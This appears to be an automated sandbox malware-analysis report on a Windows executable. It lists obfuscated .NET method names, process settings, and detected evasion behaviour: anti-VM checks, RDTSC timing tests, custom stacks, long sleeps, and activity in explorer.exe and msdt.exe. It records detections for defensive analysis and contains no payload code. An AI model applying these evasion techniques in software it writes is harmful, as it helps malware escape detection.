          Source: 0.2.mQY9ka5sW6hv2Ri.exe.3e905a0.6.raw.unpack, eOKRCaoe3fhH3gYZFB.csHigh entropy of concatenated method names: 'HyXKwI3iyo', 'IKcKW7pA3L', 'L0XKv7tSYB', 'mseKfTLj14', 'GcsKxSbVhx', 'metvZcKaKl', 'cPKv0MtKf8', 'FBevgZi9LQ', 'LnavDfgYPr', 'XDcvYLm0Os'
          Source: 0.2.mQY9ka5sW6hv2Ri.exe.3e905a0.6.raw.unpack, xAZT7rRNi7CIxwkhSs.csHigh entropy of concatenated method names: 'nVKfJJecJ5', 'lBqfRRrGYa', 'utSfXt2PoB', 'UyqfdcNgJf', 'wrIfPb16aZ', 'qMffoI9vS6', 'Os7fAJ4TSb', 'BI0fyGh842', 'yEOfkeWvpe', 'd7ofEiQdjW'
          Source: 0.2.mQY9ka5sW6hv2Ri.exe.3e905a0.6.raw.unpack, PkyUxHhb0mm11LKqcJ.csHigh entropy of concatenated method names: 'EditValue', 'GetEditStyle', 'j8BGYBsa3D', 'WjpG6gc4e7', 'KgFGzibWF6', 'csYbTSOs50', 'JiwbSgKmux', 'tENbGo3v2Z', 'pnpbbfCxRD', 'uJbmmFhsFyEmOnMWQ31'
          Source: 0.2.mQY9ka5sW6hv2Ri.exe.3e905a0.6.raw.unpack, CRgmFmrWJuwbjNi6aB.csHigh entropy of concatenated method names: 'vFFfNYgyGQ', 'eFGfMKlN8K', 'yAPfK7TUok', 'QbTK6eVety', 'luxKz6nwmI', 'j8lfTcMTM2', 'MH8fSMDw37', 'NrOfGovrGH', 'oBdfbhnQ7p', 'FwqfibxeGA'
          Source: 0.2.mQY9ka5sW6hv2Ri.exe.3e905a0.6.raw.unpack, En1UhvAG0Xg43a3j3af.csHigh entropy of concatenated method names: 'o5GhJuqOv1', 'cDZhRF9cJf', 'JZZhXCbDTZ', 'Js4hdjIISW', 'u8ghP42nBF', 'nrahoFtvjj', 'BHBhAtgVfM', 'sEmhyhn40q', 'IV5hkiQPwB', 'tYRhEaKIqv'
          Source: 0.2.mQY9ka5sW6hv2Ri.exe.3e905a0.6.raw.unpack, GVRvFJpS4eaHdtKgN8.csHigh entropy of concatenated method names: 'uAjvPDvuly', 'aJovAyYaCU', 'JIKMu5uaNE', 'NNGMeI7pk3', 'HGAMVEmeka', 'H2HMrkxdnk', 'LwfM5THrI1', 'inFMjW2Tfa', 'mcVMsHDUXU', 'myrM8CbApQ'
          Source: 0.2.mQY9ka5sW6hv2Ri.exe.3e905a0.6.raw.unpack, kZKWDRIFgoibh1hb2T.csHigh entropy of concatenated method names: 'ToString', 'z8N4aeZC4f', 'sm54B0PkF1', 'Jau4uc1jOy', 'MEa4etyCDG', 'Q1F4VlCy56', 'VZP4rdcIu4', 'H5G45PqSR7', 'xnV4jyvSsD', 'P5w4sKOVHw'
          Source: 0.2.mQY9ka5sW6hv2Ri.exe.3e905a0.6.raw.unpack, Ek4LhktCeUZ4vOf7Ua.csHigh entropy of concatenated method names: 'hEXMdybeRd', 'TdjMo19niM', 'VnpMyvPWr9', 'r8WMk8fw89', 'vTTMpMUjh1', 'i0tM478XTt', 'H61MnWHv4R', 'K3fMmqfnxd', 'BDEMhwmJVf', 'b1FM2f9ZmF'
          Source: 0.2.mQY9ka5sW6hv2Ri.exe.3e905a0.6.raw.unpack, pocZvdWaYcBDH0pnRC.csHigh entropy of concatenated method names: 'e2WIyxLImo', 'wQtIkNaHH0', 'xkoItbKgxl', 'GyiIB6R5cf', 'kjvIeJvYjr', 'PYKIVIX4vU', 'piqI5a4yvv', 'u4AIjAdES3', 'vWyI882UV9', 'AnqIaxYNVf'
          Source: 0.2.mQY9ka5sW6hv2Ri.exe.3e905a0.6.raw.unpack, i4UKlxTbGliEA9DbaS.csHigh entropy of concatenated method names: 'QHchSwSjwi', 'skJhbk9wQp', 'nx8hih9ELx', 'HRYhNAOsGY', 'MwxhWoHpmC', 'bfehv3MNqx', 'lw9hKfyhmg', 'miWmgAl2U9', 'KInmDmGLsu', 'zfkmY2tplv'
          Source: 0.2.mQY9ka5sW6hv2Ri.exe.3e905a0.6.raw.unpack, QWExWLAqoGuZC75pehx.csHigh entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'gHQ2cDU1Mg', 'hdy29JQByg', 'liQ21Q157d', 'o7d2UHsmkO', 'Xk02ZcZjn5', 'iFf20V2dfw', 'HfI2gPvV6r'
          Source: 0.2.mQY9ka5sW6hv2Ri.exe.3e905a0.6.raw.unpack, QdNndQQ6nZ5EJDtnt1.csHigh entropy of concatenated method names: 'XGLWcmVP03', 'q1AW9O8PmB', 'n5lW17bxna', 'mNXWUSxLpE', 'lgHWZV0Nro', 'OkZW0ecwnx', 'HjBWgfP61l', 'PhNWDqX4rW', 'B0iWYp8Q3q', 'giwW6gFBfv'
          Source: 0.2.mQY9ka5sW6hv2Ri.exe.3e905a0.6.raw.unpack, ktsjOqgCZu1GFFowlH.csHigh entropy of concatenated method names: 'MJnmtHT1Eq', 'FGRmBsLcdj', 'uQcmuD8ItA', 'KSamegy3V9', 'ztrmc0WvyS', 'fOGmVoLmTu', 'Next', 'Next', 'Next', 'NextBytes'
          Source: 0.2.mQY9ka5sW6hv2Ri.exe.3e905a0.6.raw.unpack, WXrH4jVeKlucQK3169.csHigh entropy of concatenated method names: 'SELXO9ywk', 'TiZdl4BXI', 'hvVoagmbT', 'JumAQmALo', 'ns7kAGc1w', 's89E6F5B5', 'h4ZvHTIxB0TlueTR65', 'sfTDkQXVfeHdYw1hVl', 'G6CmgMdXj', 'nhJ2Jk5DJ'
          Source: 0.2.mQY9ka5sW6hv2Ri.exe.3e905a0.6.raw.unpack, FBTy3x8mprisgqbcUr.csHigh entropy of concatenated method names: 'bNCnDsop60', 'KHIn6lR7dR', 'uiWmTPrr1J', 'z6YmSceVt0', 'WKfnaeYlVx', 'D80nLVpJEC', 'A91nQIDkel', 'jWYncWn5Dt', 'LhFn9usQar', 'YvUn1XBmWC'
          Source: 0.2.mQY9ka5sW6hv2Ri.exe.3e905a0.6.raw.unpack, YaIgQIyAUXnF75o8tN.csHigh entropy of concatenated method names: 'Aw4mN4bEYN', 'd3NmWLfbwr', 'F8pmMyFJZS', 'w8EmvjXKvw', 'SxXmKCfb6p', 'YIdmfUsHPM', 'PVHmxCMiCs', 'Km2mqgBNkS', 'DMXm7shkCG', 'xfTmFE21gZ'
          Source: 0.2.mQY9ka5sW6hv2Ri.exe.3e905a0.6.raw.unpack, VBD99jHbNBN6seWpOy.csHigh entropy of concatenated method names: 'Dispose', 'sEuSYB5Cf2', 's16GBKj9IJ', 'doMHHGdMq3', 'Qw9S6B4tWJ', 'f8ySzbBWGy', 'ProcessDialogKey', 'Hm5GTlqf2e', 'eoLGSlCGZe', 'J77GGe8KcY'
          Source: 0.2.mQY9ka5sW6hv2Ri.exe.3e905a0.6.raw.unpack, P1L7kyMMcEp8en6UhP.csHigh entropy of concatenated method names: 'zRiK1IGB9f', 'PA7KUCK26n', 'wVmKZ1APG3', 'ToString', 'XpxK0Robnm', 'vo4KgualDF', 'E27BHysRRy7McdrhL9I', 'CxShFWsrvV6YGvsAXbM'
          Source: 0.2.mQY9ka5sW6hv2Ri.exe.3e905a0.6.raw.unpack, g2Zqnh36w0L7u7l6kJ.csHigh entropy of concatenated method names: 'qk5SfQ5AqH', 'RGUSxirRrN', 'RVwS7HvruL', 'BnFSFWtEeK', 'bbmSprcDb2', 'uRuS49SRSO', 'bwyrDYplvcPytTLjoN', 'ARfBeN1UyL5mDnReuL', 'cNeSS4iFjJ', 'hCNSbkry63'
          Source: 0.2.mQY9ka5sW6hv2Ri.exe.3e905a0.6.raw.unpack, bS4Vc8AV0HcgkuQItZG.csHigh entropy of concatenated method names: 'Wkk2JDYcLU', 'tiB2RFUT8I', 'gSw2X2XGsZ', 'sDa9pB7ds4VmovDFeMM', 'KInGwJ7Fg4WQN3TCxOF', 'kvxq6f7p2tScaSYQ9oc', 'sl83bw71f25LExvBtxO'
          Source: 0.2.mQY9ka5sW6hv2Ri.exe.3e905a0.6.raw.unpack, xavLmCzdnYGj8CDZxw.csHigh entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'MuahIjLKFc', 'rDWhppcb4S', 'hv0h4RdxLN', 'nCyhnD3Djk', 'sI8hmiLiyk', 'UY5hh3NOVy', 'SI9h2aotwA'
          Source: 0.2.mQY9ka5sW6hv2Ri.exe.79d0000.9.raw.unpack, AcmBDkmm30oEvpwIly.csHigh entropy of concatenated method names: 'rhOp8b8cbh', 'HJvpLip2Y1', 'dckpcnpuM4', 'R3Sp91ZPsJ', 'X0UpBMVKNw', 'dVIpukQPWg', 'xmCpee0gtd', 'dAMpVYZpwp', 'FYPpry6AZf', 'cTSp5oR7m9'
          Source: 0.2.mQY9ka5sW6hv2Ri.exe.79d0000.9.raw.unpack, xAjfVuKcAf4Og71LT4.csHigh entropy of concatenated method names: 'hU1bwi4PvH', 'OklbNQp3Uu', 'ObNbWagt0V', 'ES1bM8t9jq', 'vTRbvkOvrg', 'pOYbKjSl6c', 'xAebf3BmDZ', 'I6jbxlX6MM', 'YQFbqkdY4y', 'vcHb7Sv5WH'
          Source: 0.2.mQY9ka5sW6hv2Ri.exe.79d0000.9.raw.unpack, eOKRCaoe3fhH3gYZFB.csHigh entropy of concatenated method names: 'HyXKwI3iyo', 'IKcKW7pA3L', 'L0XKv7tSYB', 'mseKfTLj14', 'GcsKxSbVhx', 'metvZcKaKl', 'cPKv0MtKf8', 'FBevgZi9LQ', 'LnavDfgYPr', 'XDcvYLm0Os'
          Source: 0.2.mQY9ka5sW6hv2Ri.exe.79d0000.9.raw.unpack, xAZT7rRNi7CIxwkhSs.csHigh entropy of concatenated method names: 'nVKfJJecJ5', 'lBqfRRrGYa', 'utSfXt2PoB', 'UyqfdcNgJf', 'wrIfPb16aZ', 'qMffoI9vS6', 'Os7fAJ4TSb', 'BI0fyGh842', 'yEOfkeWvpe', 'd7ofEiQdjW'
          Source: 0.2.mQY9ka5sW6hv2Ri.exe.79d0000.9.raw.unpack, PkyUxHhb0mm11LKqcJ.csHigh entropy of concatenated method names: 'EditValue', 'GetEditStyle', 'j8BGYBsa3D', 'WjpG6gc4e7', 'KgFGzibWF6', 'csYbTSOs50', 'JiwbSgKmux', 'tENbGo3v2Z', 'pnpbbfCxRD', 'uJbmmFhsFyEmOnMWQ31'
          Source: 0.2.mQY9ka5sW6hv2Ri.exe.79d0000.9.raw.unpack, CRgmFmrWJuwbjNi6aB.csHigh entropy of concatenated method names: 'vFFfNYgyGQ', 'eFGfMKlN8K', 'yAPfK7TUok', 'QbTK6eVety', 'luxKz6nwmI', 'j8lfTcMTM2', 'MH8fSMDw37', 'NrOfGovrGH', 'oBdfbhnQ7p', 'FwqfibxeGA'
          Source: 0.2.mQY9ka5sW6hv2Ri.exe.79d0000.9.raw.unpack, En1UhvAG0Xg43a3j3af.csHigh entropy of concatenated method names: 'o5GhJuqOv1', 'cDZhRF9cJf', 'JZZhXCbDTZ', 'Js4hdjIISW', 'u8ghP42nBF', 'nrahoFtvjj', 'BHBhAtgVfM', 'sEmhyhn40q', 'IV5hkiQPwB', 'tYRhEaKIqv'
          Source: 0.2.mQY9ka5sW6hv2Ri.exe.79d0000.9.raw.unpack, GVRvFJpS4eaHdtKgN8.csHigh entropy of concatenated method names: 'uAjvPDvuly', 'aJovAyYaCU', 'JIKMu5uaNE', 'NNGMeI7pk3', 'HGAMVEmeka', 'H2HMrkxdnk', 'LwfM5THrI1', 'inFMjW2Tfa', 'mcVMsHDUXU', 'myrM8CbApQ'
          Source: 0.2.mQY9ka5sW6hv2Ri.exe.79d0000.9.raw.unpack, kZKWDRIFgoibh1hb2T.csHigh entropy of concatenated method names: 'ToString', 'z8N4aeZC4f', 'sm54B0PkF1', 'Jau4uc1jOy', 'MEa4etyCDG', 'Q1F4VlCy56', 'VZP4rdcIu4', 'H5G45PqSR7', 'xnV4jyvSsD', 'P5w4sKOVHw'
          Source: 0.2.mQY9ka5sW6hv2Ri.exe.79d0000.9.raw.unpack, Ek4LhktCeUZ4vOf7Ua.csHigh entropy of concatenated method names: 'hEXMdybeRd', 'TdjMo19niM', 'VnpMyvPWr9', 'r8WMk8fw89', 'vTTMpMUjh1', 'i0tM478XTt', 'H61MnWHv4R', 'K3fMmqfnxd', 'BDEMhwmJVf', 'b1FM2f9ZmF'
          Source: 0.2.mQY9ka5sW6hv2Ri.exe.79d0000.9.raw.unpack, pocZvdWaYcBDH0pnRC.csHigh entropy of concatenated method names: 'e2WIyxLImo', 'wQtIkNaHH0', 'xkoItbKgxl', 'GyiIB6R5cf', 'kjvIeJvYjr', 'PYKIVIX4vU', 'piqI5a4yvv', 'u4AIjAdES3', 'vWyI882UV9', 'AnqIaxYNVf'
          Source: 0.2.mQY9ka5sW6hv2Ri.exe.79d0000.9.raw.unpack, i4UKlxTbGliEA9DbaS.csHigh entropy of concatenated method names: 'QHchSwSjwi', 'skJhbk9wQp', 'nx8hih9ELx', 'HRYhNAOsGY', 'MwxhWoHpmC', 'bfehv3MNqx', 'lw9hKfyhmg', 'miWmgAl2U9', 'KInmDmGLsu', 'zfkmY2tplv'
          Source: 0.2.mQY9ka5sW6hv2Ri.exe.79d0000.9.raw.unpack, QWExWLAqoGuZC75pehx.csHigh entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'gHQ2cDU1Mg', 'hdy29JQByg', 'liQ21Q157d', 'o7d2UHsmkO', 'Xk02ZcZjn5', 'iFf20V2dfw', 'HfI2gPvV6r'
          Source: 0.2.mQY9ka5sW6hv2Ri.exe.79d0000.9.raw.unpack, QdNndQQ6nZ5EJDtnt1.csHigh entropy of concatenated method names: 'XGLWcmVP03', 'q1AW9O8PmB', 'n5lW17bxna', 'mNXWUSxLpE', 'lgHWZV0Nro', 'OkZW0ecwnx', 'HjBWgfP61l', 'PhNWDqX4rW', 'B0iWYp8Q3q', 'giwW6gFBfv'
          Source: 0.2.mQY9ka5sW6hv2Ri.exe.79d0000.9.raw.unpack, ktsjOqgCZu1GFFowlH.csHigh entropy of concatenated method names: 'MJnmtHT1Eq', 'FGRmBsLcdj', 'uQcmuD8ItA', 'KSamegy3V9', 'ztrmc0WvyS', 'fOGmVoLmTu', 'Next', 'Next', 'Next', 'NextBytes'
          Source: 0.2.mQY9ka5sW6hv2Ri.exe.79d0000.9.raw.unpack, WXrH4jVeKlucQK3169.csHigh entropy of concatenated method names: 'SELXO9ywk', 'TiZdl4BXI', 'hvVoagmbT', 'JumAQmALo', 'ns7kAGc1w', 's89E6F5B5', 'h4ZvHTIxB0TlueTR65', 'sfTDkQXVfeHdYw1hVl', 'G6CmgMdXj', 'nhJ2Jk5DJ'
          Source: 0.2.mQY9ka5sW6hv2Ri.exe.79d0000.9.raw.unpack, FBTy3x8mprisgqbcUr.csHigh entropy of concatenated method names: 'bNCnDsop60', 'KHIn6lR7dR', 'uiWmTPrr1J', 'z6YmSceVt0', 'WKfnaeYlVx', 'D80nLVpJEC', 'A91nQIDkel', 'jWYncWn5Dt', 'LhFn9usQar', 'YvUn1XBmWC'
          Source: 0.2.mQY9ka5sW6hv2Ri.exe.79d0000.9.raw.unpack, YaIgQIyAUXnF75o8tN.csHigh entropy of concatenated method names: 'Aw4mN4bEYN', 'd3NmWLfbwr', 'F8pmMyFJZS', 'w8EmvjXKvw', 'SxXmKCfb6p', 'YIdmfUsHPM', 'PVHmxCMiCs', 'Km2mqgBNkS', 'DMXm7shkCG', 'xfTmFE21gZ'
          Source: 0.2.mQY9ka5sW6hv2Ri.exe.79d0000.9.raw.unpack, VBD99jHbNBN6seWpOy.csHigh entropy of concatenated method names: 'Dispose', 'sEuSYB5Cf2', 's16GBKj9IJ', 'doMHHGdMq3', 'Qw9S6B4tWJ', 'f8ySzbBWGy', 'ProcessDialogKey', 'Hm5GTlqf2e', 'eoLGSlCGZe', 'J77GGe8KcY'
          Source: 0.2.mQY9ka5sW6hv2Ri.exe.79d0000.9.raw.unpack, P1L7kyMMcEp8en6UhP.csHigh entropy of concatenated method names: 'zRiK1IGB9f', 'PA7KUCK26n', 'wVmKZ1APG3', 'ToString', 'XpxK0Robnm', 'vo4KgualDF', 'E27BHysRRy7McdrhL9I', 'CxShFWsrvV6YGvsAXbM'
          Source: 0.2.mQY9ka5sW6hv2Ri.exe.79d0000.9.raw.unpack, g2Zqnh36w0L7u7l6kJ.csHigh entropy of concatenated method names: 'qk5SfQ5AqH', 'RGUSxirRrN', 'RVwS7HvruL', 'BnFSFWtEeK', 'bbmSprcDb2', 'uRuS49SRSO', 'bwyrDYplvcPytTLjoN', 'ARfBeN1UyL5mDnReuL', 'cNeSS4iFjJ', 'hCNSbkry63'
          Source: 0.2.mQY9ka5sW6hv2Ri.exe.79d0000.9.raw.unpack, bS4Vc8AV0HcgkuQItZG.csHigh entropy of concatenated method names: 'Wkk2JDYcLU', 'tiB2RFUT8I', 'gSw2X2XGsZ', 'sDa9pB7ds4VmovDFeMM', 'KInGwJ7Fg4WQN3TCxOF', 'kvxq6f7p2tScaSYQ9oc', 'sl83bw71f25LExvBtxO'
          Source: 0.2.mQY9ka5sW6hv2Ri.exe.79d0000.9.raw.unpack, xavLmCzdnYGj8CDZxw.csHigh entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'MuahIjLKFc', 'rDWhppcb4S', 'hv0h4RdxLN', 'nCyhnD3Djk', 'sI8hmiLiyk', 'UY5hh3NOVy', 'SI9h2aotwA'
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\msdt.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior

          Malware Analysis System Evasion

          barindex
          Yara detected AntiVM3
          Source: Yara matchFile source: Process Memory Space: mQY9ka5sW6hv2Ri.exe PID: 6912, type: MEMORYSTR
          Switches to a custom stack to bypass stack traces
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeAPI/Special instruction interceptor: Address: 7FFE2220D324
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeAPI/Special instruction interceptor: Address: 7FFE22210774
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeAPI/Special instruction interceptor: Address: 7FFE22210154
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeAPI/Special instruction interceptor: Address: 7FFE2220D8A4
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeAPI/Special instruction interceptor: Address: 7FFE2220DA44
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeAPI/Special instruction interceptor: Address: 7FFE2220D1E4
          Tries to detect virtualization through RDTSC time measurements
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeRDTSC instruction interceptor: First address: 409904 second address: 40990A instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeRDTSC instruction interceptor: First address: 409B7E second address: 409B84 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
          Source: C:\Windows\SysWOW64\msdt.exeRDTSC instruction interceptor: First address: 809904 second address: 80990A instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
          Source: C:\Windows\SysWOW64\msdt.exeRDTSC instruction interceptor: First address: 809B7E second address: 809B84 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeMemory allocated: 1000000 memory reserve | memory write watchJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeMemory allocated: 2B50000 memory reserve | memory write watchJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeMemory allocated: 1000000 memory reserve | memory write watchJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeMemory allocated: 7A40000 memory reserve | memory write watchJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeMemory allocated: 8A40000 memory reserve | memory write watchJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeMemory allocated: 8CF0000 memory reserve | memory write watchJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeMemory allocated: 9CF0000 memory reserve | memory write watchJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_00409AB0 rdtsc 4_2_00409AB0
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeThread delayed: delay time: 922337203685477Jump to behavior
          Source: C:\Windows\explorer.exeWindow / User API: threadDelayed 6094Jump to behavior
          Source: C:\Windows\explorer.exeWindow / User API: threadDelayed 3839Jump to behavior
          Source: C:\Windows\explorer.exeWindow / User API: foregroundWindowGot 868Jump to behavior
          Source: C:\Windows\explorer.exeWindow / User API: foregroundWindowGot 886Jump to behavior
          Source: C:\Windows\SysWOW64\msdt.exeWindow / User API: threadDelayed 9839Jump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeAPI coverage: 1.7 %
          Source: C:\Windows\SysWOW64\msdt.exeAPI coverage: 0.8 %
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exe TID: 6956Thread sleep time: -922337203685477s >= -30000sJump to behavior
          Source: C:\Windows\explorer.exe TID: 7112Thread sleep time: -12188000s >= -30000sJump to behavior
          Source: C:\Windows\explorer.exe TID: 7112Thread sleep time: -7678000s >= -30000sJump to behavior
          Source: C:\Windows\SysWOW64\msdt.exeLast function: Thread delayed
          Source: C:\Windows\SysWOW64\msdt.exeLast function: Thread delayed
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_008B60A8 memset,GetProcessHeap,HeapAlloc,FindFirstFileW,GetProcessHeap,HeapAlloc,GetLastError,FindClose,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,6_2_008B60A8
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_008A602D GetProcessHeap,HeapAlloc,FindFirstFileW,_wcsicmp,_wcsicmp,SetFileAttributesW,GetLastError,DeleteFileW,GetLastError,FindNextFileW,FindClose,RemoveDirectoryW,GetLastError,GetProcessHeap,HeapFree,6_2_008A602D
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_008A1B92 memset,GetProcessHeap,HeapAlloc,FindFirstFileW,_wcsicmp,_wcsicmp,FindNextFileW,FindClose,GetLastError,GetProcessHeap,HeapFree,6_2_008A1B92
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_008A4CB6 memset,GetProcessHeap,HeapAlloc,FindFirstFileW,_wcsicmp,_wcsicmp,FindNextFileW,FindClose,GetLastError,GetProcessHeap,HeapFree,6_2_008A4CB6
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_008A5C20 memset,GetProcessHeap,HeapAlloc,GetProcessHeap,HeapAlloc,GetProcessHeap,HeapAlloc,CloseHandle,FindFirstFileW,_wcsicmp,_wcsicmp,GetFileAttributesW,SetFileAttributesW,GetLastError,GetFileAttributesW,SetFileAttributesW,GetLastError,DeleteFileW,CreateFileW,GetLastError,CloseHandle,FindNextFileW,FindClose,GetLastError,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,CloseHandle,CloseHandle,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,6_2_008A5C20
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_008B743A memset,GetProcessHeap,HeapAlloc,GetProcessHeap,HeapAlloc,FindFirstFileW,_wcsicmp,_wcsicmp,CopyFileW,GetLastError,FindNextFileW,FindClose,GetLastError,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,6_2_008B743A
